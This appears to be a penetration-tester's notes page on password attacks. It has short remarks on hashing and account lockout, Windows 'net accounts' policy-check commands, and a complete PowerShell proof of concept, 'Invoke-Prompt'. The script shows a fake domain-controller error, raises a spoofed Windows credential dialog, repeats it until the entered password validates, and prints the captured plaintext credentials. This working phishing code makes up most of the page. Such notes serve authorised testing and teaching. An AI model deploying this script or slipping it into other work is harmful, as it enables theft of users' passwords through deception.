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Password Attacks

File hashing should be fast - used to determine integrity
Password hashing should be SLOW - used to increase amount of work for cracking
Be careful not to lock out legitimate users, as this will impact operational needs of the target
Check windows password settings
net accounts
net accounts /domain
Sometimes, we can just ask for creds!
# POC from greg.foss[at]owasp.org
# @enigma0x3
# Adapted from http://blog.logrhythm.com/security/do-you-trust-your-computer/
# https://enigma0x3.wordpress.com/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/
​
function Invoke-Prompt {
    [CmdletBinding()]
    Param (
        [Switch] $ProcCreateWait,
        [String] $MsgText = 'Lost contact with the Domain Controller.',
        [String] $IconType = 'Critical',
        [String] $Title = 'ERROR - 0xA801B720'
    )
    Add-Type -AssemblyName Microsoft.VisualBasic
    Add-Type -assemblyname System.DirectoryServices.AccountManagement
    $DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
    
    if($MsgText -and $($MsgText -ne '')){
        $null = [Microsoft.VisualBasic.Interaction]::MsgBox($MsgText, "OKOnly,MsgBoxSetForeground,SystemModal,$IconType", $Title)
    }
    
    $c=[System.Security.Principal.WindowsIdentity]::GetCurrent().name
    $credential = $host.ui.PromptForCredential("Credentials Required", "Please enter your user name and password.", $c, "NetBiosUserName")
    
    if($credential){
           while($DS.ValidateCredentials($c, $credential.GetNetworkCredential().password) -ne $True){
              $credential = $Host.ui.PromptForCredential("Windows Security", "Invalid Credentials, Please try again", "$env:userdomain\$env:username","")
          }
        "[+] Prompted credentials: -> " + $c + ":" + $credential.GetNetworkCredential().password
    }
    else{
        "[!] User closed credential prompt"
    }
}
​
PHP
Brute Forcing
Last modified 2yr ago